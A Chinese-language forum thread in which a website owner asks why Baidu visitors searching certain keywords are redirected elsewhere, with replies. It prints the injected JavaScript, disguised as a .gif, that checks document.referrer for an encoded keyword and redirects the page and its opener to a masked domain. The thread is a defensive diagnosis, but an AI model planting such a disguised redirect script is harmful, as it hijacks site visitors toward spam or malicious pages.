我是个业余爱好者,对PHP目前刚刚开始接触。使用的是CMS来建站。今天浏览网站是发现个奇怪的问题,百度搜索一个关键词进入主页会跳转到另一个网站而且弹出提示框。而直接访问,或者搜索其他关键词进入又返回正常页面。
    开始以为是被挂了木马,认真的浏览了HTML代码 没有找到木马所在。找到一个图片以JS加载的
<script src="http://XXXX.com/XXXX/XXXX.gif"></script>仅仅这一处可疑的地方,访问图片地址,另存为,用S32ASM打开得到如下代码:
var d=document.referrer;
if (d.indexOf("%B2%CA")>0 || d.indexOf("%B2%CA")>0) {
self.location="http://www.XXX.com";
window.opener.location="http://www.XXX.com"
};
其中的地址http://www.XXX.com就是跳转的目标地址  很是奇怪   于是直接在本地IIS中访问加载<script src="/XX.gif"></script>的文件 得到的正常无跳转   再用原大学网页改里面的所有链接地址使其生效 并用带关键字的链接进入该页面  再测试正常 无跳转
最后去搜索了下  原来源码内有漏洞也会出现该现象  不知道是不是这样
这个是怎么实现的呢 要怎么删除和防范呢

解决方案 »

  1.   

    script是会这样,服务器漏洞的问题。
      

  2.   

    这是一个伪装成图片的js代码,这个是script的漏洞
      

  3.   

    这个是js的问题,与php无关。
      

  4.   

    谁叫你用JS加载图片的呢,或者说你这种加载方式就是加载JS脚本而不是图片,不管他是什么后缀名
      

  5.   

    var d=document.referrer;
    if (d.indexOf("%B2%CA")>0 || d.indexOf("%B2%CA")>0) {document.referrer连接判断“%B2%CA”串首次出现的位置。没跳转可能是没有这字符串
      

  6.   

    我昨天用的是Opera去打开图片  要是用IE打开  直接显示了JS代码  
    script的漏洞 是不是指的不管任何格式都已JS加载呢?